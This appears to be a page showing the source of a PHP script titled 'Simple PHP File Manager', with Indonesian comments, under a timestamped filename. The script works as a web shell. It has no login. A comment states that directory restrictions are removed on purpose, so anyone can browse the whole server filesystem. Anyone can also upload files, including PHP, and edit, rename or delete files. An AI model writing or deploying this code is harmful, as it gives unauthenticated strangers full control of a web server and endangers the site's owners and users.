Edit File: 1765912020

✍️ Mengedit File: 1765912020_gemini2.php

<?php
// --- PENGATURAN DIREKTORI ---
$dir_separator = DIRECTORY_SEPARATOR; // Penanda pemisah direktori (otomatis: / atau \)
$base_dir = rtrim(getcwd(), $dir_separator); // Direktori root skrip File Manager

// Ambil parameter 'dir' dari URL atau gunakan direktori base jika tidak ada
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : $base_dir;

// Normalisasi Path dan Melonggarkan Batasan Keamanan
// PENTING: Menghilangkan pembatasan direktori agar bisa naik ke folder di atas `$base_dir`.
$current_dir = realpath($current_dir);
if (!$current_dir) {
    $current_dir = $base_dir;
}

// --- FUNGSI BREADCRUMB VERSI MUTLAK (SISTEM) ---
function generate_breadcrumb($current_dir, $dir_separator) {
    $html = '<div class="breadcrumb">';
    $path_parts = explode($dir_separator, trim($current_dir, $dir_separator));
    $cumulative_path = '';

// Tautan pertama ke Root Sistem (misal: / atau C:\)
    // Link hanya menggunakan query string
    $html .= '<a href="?dir=/' . urlencode($dir_separator) . '">💻 System Root</a>';

foreach ($path_parts as $part) {
        if (empty($part)) continue;
        
        // Penanganan Path Windows (C:, D:, dll.)
        if (strpos($part, ':') !== false) {
             $cumulative_path = $part . $dir_separator;
             $html = '<div class="breadcrumb">'; // Reset breadcrumb
             $html .= '<a href="?dir=/' . urlencode($cumulative_path) . '">' . htmlspecialchars($part) . '</a>';
             continue;
        }

$cumulative_path .= $part . $dir_separator;
        
        $encoded_path = urlencode(rtrim($cumulative_path, $dir_separator));
        $segment_name = htmlspecialchars($part);

// Jika ini adalah direktori saat ini, jadikan teks biasa
        if (rtrim($cumulative_path, $dir_separator) == rtrim($current_dir, $dir_separator)) {
            $html .= ' &raquo; <span class="current-dir-text">' . $segment_name . '</span>';
        } else {
            // Tautan yang bisa diklik. Hanya menggunakan query string.
            $html .= ' &raquo; <a href="?dir=/' . $encoded_path . '">' . $segment_name . '</a>';
        }
    }

$html .= '</div>';
    return $html;
}

// --- FUNGSI UTAMA ---
$message = '';
$current_query_param = '?dir=/' . urlencode($current_dir); // Simpan parameter URL saat ini

// 1. UPLOAD FILE
if (isset($_FILES['file_upload'])) {
    // Pastikan path bersih dari double slash dan spasi
    $clean_path = realpath($current_dir);
    $target_file = $clean_path . $dir_separator . basename($_FILES['file_upload']['name']);
    
    // Cek apakah direktori valid
    if ($clean_path && is_dir($clean_path)) {
        // Cek izin tulis
        if (is_writable($clean_path)) {
            if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $target_file)) {
                $message = "✅ File **" . htmlspecialchars(basename($_FILES['file_upload']['name'])) . "** berhasil diunggah.";
            } else {
                // Cek error spesifik dari PHP jika move gagal
                $error_code = $_FILES['file_upload']['error'];
                if ($error_code > 0) {
                    $message = "❌ Error PHP: Kode " . $error_code . " (Mungkin file terlalu besar).";
                } else {
                    $message = "❌ Gagal memindahkan file. Periksa izin folder temporer server.";
                }
            }
        } else {
            $message = "❌ Error: Direktori tidak dapat ditulis (Permission Denied).";
        }
    } else {
        $message = "❌ Error: Direktori tujuan tidak valid.";
    }
}

// 2. CREATE FOLDER (Fungsi Baru)
if (isset($_POST['action']) && $_POST['action'] == 'create_folder' && isset($_POST['folder_name'])) {
    $folder_name = basename(trim($_POST['folder_name'])); // Hanya ambil nama folder tanpa path traversal
    if (empty($folder_name)) {
        $message = "Nama folder tidak boleh kosong.";
    } else {
        $new_folder_path = $current_dir . $dir_separator . $folder_name;
        // 0755 adalah izin default yang aman, true mengizinkan pembuatan direktori rekursif (jika diperlukan)
        if (is_dir($new_folder_path)) {
            $message = "Error: Folder **" . htmlspecialchars($folder_name) . "** sudah ada.";
        } else if (mkdir($new_folder_path, 0755, true)) {
            $message = "Folder **" . htmlspecialchars($folder_name) . "** berhasil dibuat.";
        } else {
            $message = "Gagal membuat folder. Periksa izin tulis direktori.";
        }
    }
}

// 3. DELETE FILE
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['file'])) {
    $file_to_delete = $current_dir . $dir_separator . basename($_GET['file']);
    
    if (file_exists($file_to_delete)) {
        if (is_file($file_to_delete)) {
             // Hapus file
            if (unlink($file_to_delete)) {
                $message = "File **" . htmlspecialchars(basename($_GET['file'])) . "** berhasil dihapus.";
            } else {
                $message = "Gagal menghapus file.";
            }
        } elseif (is_dir($file_to_delete)) {
            // Hapus folder (hanya jika kosong)
            if (rmdir($file_to_delete)) {
                $message = "Folder **" . htmlspecialchars(basename($_GET['file'])) . "** berhasil dihapus.";
            } else {
                $message = "Gagal menghapus folder. Pastikan folder kosong.";
            }
        }
    } else {
        $message = "Gagal menghapus: File/Folder tidak ditemukan.";
    }
}

// 4. RENAME FILE/FOLDER
if (isset($_POST['action']) && $_POST['action'] == 'rename') {
    $old_name = $current_dir . $dir_separator . basename($_POST['old_name']);
    $new_name = $current_dir . $dir_separator . basename($_POST['new_name']);
    if (file_exists($old_name) && rename($old_name, $new_name)) {
        $message = "Item berhasil diubah namanya menjadi **" . htmlspecialchars(basename($_POST['new_name'])) . "**.";
    } else {
        $message = "Gagal mengubah nama item.";
    }
}

// 5. EDIT FILE (Simpan perubahan)
if (isset($_POST['action']) && $_POST['action'] == 'save_edit') {
    $file_to_edit = $current_dir . $dir_separator . basename($_POST['filename']);
    $content = $_POST['content'];
    if (file_exists($file_to_edit) && file_put_contents($file_to_edit, $content) !== false) {
        $message = "File **" . htmlspecialchars(basename($_POST['filename'])) . "** berhasil disimpan.";
    } else {
        $message = "Gagal menyimpan file.";
    }
}

// --- TAMPILAN UNTUK EDIT FILE (Jika action=edit) ---
if (isset($_GET['action']) && $_GET['action'] == 'edit' && isset($_GET['file'])) {
    $file_to_read = $current_dir . $dir_separator . basename($_GET['file']);
    if (file_exists($file_to_read) && is_file($file_to_read)) {
        $content = file_get_contents($file_to_read);
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <title>Edit File: <?php echo htmlspecialchars(basename($_GET['file'])); ?></title>
    <style>
        body { font-family: sans-serif; margin: 20px; }
        textarea { width: 90%; height: 500px; padding: 10px; font-family: monospace; }
        .back-link { display: block; margin-bottom: 20px; }
    </style>
</head>
<body>
    <h2>✍️ Mengedit File: <?php echo htmlspecialchars(basename($_GET['file'])); ?></h2>
    <a href="<?php echo $current_query_param; ?>" class="back-link">← Kembali ke File Manager</a>
    <form method="POST">
        <input type="hidden" name="action" value="save_edit">
        <input type="hidden" name="filename" value="<?php echo htmlspecialchars(basename($_GET['file'])); ?>">
        <textarea name="content"><?php echo htmlspecialchars($content); ?></textarea><br>
        <button type="submit">Simpan Perubahan</button>
    </form>
</body>
</html>
<?php
exit;
    }
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <title>Simple PHP File Manager</title>
    <style>
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 20px; background-color: #f4f4f9; color: #333; }
        .container { max-width: 1000px; margin: auto; background: #fff; padding: 20px; box-shadow: 0 4px 8px rgba(0,0,0,0.1); border-radius: 8px; }
        h1 { color: #007bff; border-bottom: 2px solid #007bff; padding-bottom: 10px; margin-bottom: 20px; }
        .message { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; padding: 10px; margin-bottom: 15px; border-radius: 4px; }
        table { width: 100%; border-collapse: collapse; margin-bottom: 20px; }
        th, td { padding: 12px; text-align: left; border-bottom: 1px solid #ddd; }
        th { background-color: #007bff; color: white; }
        tr:hover { background-color: #f1f1f1; }
        .action-link { margin-right: 10px; text-decoration: none; color: #007bff; }
        .delete-link { color: #dc3545; }
        .rename-form { display: inline-block; margin: 0; }
        input[type="file"], input[type="text"], button { padding: 8px; border-radius: 4px; border: 1px solid #ccc; margin-right: 5px; }
        button { cursor: pointer; background-color: #28a745; color: white; border: none; }
        .upload-section { margin-top: 20px; padding: 15px; border: 1px dashed #ccc; border-radius: 4px; }
        .create-section { margin-top: 15px; padding: 15px; border: 1px dashed #007bff; border-radius: 4px; }
        .dir-icon { color: #ffc107; }

/* CSS untuk Breadcrumb */
        .breadcrumb { font-size: 1.1em; margin-bottom: 15px; padding: 10px; border-bottom: 1px solid #ddd; background-color: #e9ecef; border-radius: 4px; }
        .breadcrumb a { text-decoration: none; color: #007bff; }
        .breadcrumb a:hover { text-decoration: underline; }
        .breadcrumb span.current-dir-text { font-weight: bold; color: #333; }
    </style>
</head>
<body>
    <div class="container">
        <h1>🛠️ Simple PHP File Manager</h1>

<?php if (isset($message)): ?>
            <div class="message"><?php echo $message; ?></div>
        <?php endif; ?>
        
        <?php echo generate_breadcrumb($current_dir, $dir_separator); ?>

<div class="upload-section">
            <h2>⬆️ Unggah File</h2>
            <form action="<?php echo $current_query_param; ?>" method="POST" enctype="multipart/form-data">
                <input type="file" name="file_upload" required>
                <button type="submit">Upload</button>
            </form>
        </div>

<div class="create-section">
            <h2>➕ Buat Folder Baru</h2>
            <form action="<?php echo $current_query_param; ?>" method="POST">
                <input type="hidden" name="action" value="create_folder">
                <input type="text" name="folder_name" placeholder="Nama Folder Baru" required>
                <button type="submit">Buat Folder</button>
            </form>
        </div>

<hr/>

<h2>🗂️ Daftar File dan Folder</h2>
        <table>
            <thead>
                <tr>
                    <th>Nama</th>
                    <th>Jenis</th>
                    <th>Ukuran</th>
                    <th>Tanggal Modifikasi</th>
                    <th>Aksi</th>
                </tr>
            </thead>
            <tbody>
                <?php
                $parent_dir = dirname($current_dir);
                if (realpath($current_dir) !== realpath($parent_dir)) {
                    echo '<tr>';
                    echo '<td><a href="?dir=' . urlencode($parent_dir) . '">**[..]** (Ke Atas)</a></td>';
                    echo '<td>Direktori Induk</td>';
                    echo '<td>-</td>';
                    echo '<td>-</td>';
                    echo '<td>-</td>';
                    echo '</tr>';
                }

$items = array_diff(scandir($current_dir), array('.', '..'));
                
                $folders = [];
                $files = [];
                
                foreach ($items as $item) {
                    $item_path = $current_dir . $dir_separator . $item;
                    if (is_dir($item_path)) {
                        $folders[] = $item;
                    } else if (is_file($item_path)) {
                        $files[] = $item;
                    }
                }
                
                // Tampilkan Folder
                foreach ($folders as $folder) {
                    $item_path = $current_dir . $dir_separator . $folder;
                    $item_link = '?dir=' . urlencode($item_path);
                    
                    echo '<tr>';
                    $link = '<a href="' . $item_link . '"><span class="dir-icon">📁</span> ' . htmlspecialchars($folder) . '</a>';
                    echo '<td>' . $link . '</td>';
                    echo '<td>Direktori</td>';
                    echo '<td>-</td>';
                    echo '<td>' . date("d M Y H:i", filemtime($item_path)) . '</td>';
                    echo '<td>';
                    
                    // Form Rename untuk Folder
                    echo '<form method="POST" class="rename-form" action="' . $current_query_param . '">';
                    echo '<input type="hidden" name="action" value="rename">';
                    echo '<input type="hidden" name="old_name" value="' . htmlspecialchars($folder) . '">';
                    echo '<input type="text" name="new_name" value="' . htmlspecialchars($folder) . '" required>';
                    echo '<button type="submit">Rename</button>';
                    echo '</form>';
                    
                    // Link Delete Folder
                    echo '<a href="?action=delete&file=' . urlencode($folder) . '&dir=' . urlencode($current_dir) . '" onclick="return confirm(\'Yakin ingin menghapus folder: ' . htmlspecialchars($folder) . '? (Hanya bisa folder kosong!)\')" class="action-link delete-link">Hapus</a>';
                    
                    echo '</td>';
                    echo '</tr>';
                }

// Tampilkan File
                foreach ($files as $file) {
                    $item_path = $current_dir . $dir_separator . $file;
                    $filesize = filesize($item_path);
                    $file_ext = pathinfo($file, PATHINFO_EXTENSION);
                    $editable = in_array(strtolower($file_ext), ['txt', 'php', 'html', 'css', 'js', 'json', 'xml']);

echo '<tr>';
                    echo '<td>' . htmlspecialchars($file) . '</td>';
                    echo '<td>File</td>';
                    echo '<td>' . round($filesize / 1024, 2) . ' KB</td>';
                    echo '<td>' . date("d M Y H:i", filemtime($item_path)) . '</td>'; // Tanggal Modifikasi

echo '<td>';
                    
                    // Form Rename
                    echo '<form method="POST" class="rename-form" action="' . $current_query_param . '">';
                    echo '<input type="hidden" name="action" value="rename">';
                    echo '<input type="hidden" name="old_name" value="' . htmlspecialchars($file) . '">';
                    echo '<input type="text" name="new_name" value="' . htmlspecialchars($file) . '" required>';
                    echo '<button type="submit">Rename</button>';
                    echo '</form>';
                    
                    // Link Edit
                    if ($editable) {
                        echo '<a href="?action=edit&file=' . urlencode($file) . '&dir=' . urlencode($current_dir) . '" class="action-link">Edit</a>';
                    }
                    
                    // Link Delete File
                    echo '<a href="?action=delete&file=' . urlencode($file) . '&dir=' . urlencode($current_dir) . '" onclick="return confirm(\'Yakin ingin menghapus file: ' . htmlspecialchars($file) . '?\')" class="action-link delete-link">Hapus</a>';
                    
                    echo '</td>';
                    echo '</tr>';
                }
                ?>
            </tbody>
        </table>
    </div>
</body>
</html>